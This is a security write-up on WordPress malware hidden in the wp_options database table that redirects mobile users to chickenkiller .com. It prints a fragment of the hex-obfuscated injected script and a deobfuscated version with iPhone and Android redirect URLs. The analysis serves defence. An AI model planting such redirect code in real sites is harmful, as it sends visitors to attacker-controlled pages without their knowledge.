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We recently found a website that was redirecting mobile users to a third-party site called chickenkiller .com, after further investigation we found that the malware was actually injected into the database, the code was hex encoded to prevent users from being able to search for the domain in the malicious code.

The malware was stored in: wp_options -> FieldName: option_value -> ID: 3284 (this value may not be the same on every infection)

Here's a snippet of the code you may find on infected sites:

a:1:{s:7:"padding";s:1888:"</script><script>var _0x93d9=[&quot;\x77\x70\x6B\x6A","\x63\x6F\x6F\x6B\x69\x65&quot;,"\x3D"
(navigator[_0x93d9[2]])){window[_0x93d9[3]]=_0x93d9[4]}else {if(/Android/i[_0x93d9[1]](navigator[_0x93d9[2]])){window[_0x93d9[3]]=_0x93d9[5]}};};

This malware's obfuscation technique is not too complex, when deobfuscated, the most interesting part is the conditional redirect, which tells us that the malware had two different final URLs depending on which flavor of the mobile OS:

    if (!readCookie("wpkj") {
        createCookie("wpkj", "test", 1);
        if (/iPhone|iPad|iPod/i ["test"](navigator["userAgent"])) {
            window[location] = "http:// load-me.chickenkiller .com/5972"
        } else {
            if (/Android/i ["wpkj"](navigator["test"])) {
                window[location] = "http:// load-me.chickenkiller .com/596F"

What we learn form this sample is that checking only your site's files for anomalies is not enough. Once an attack happens, the attacker can add malicious content to your site's database. It could be a backdoor or a malicious redirect for mobile phones.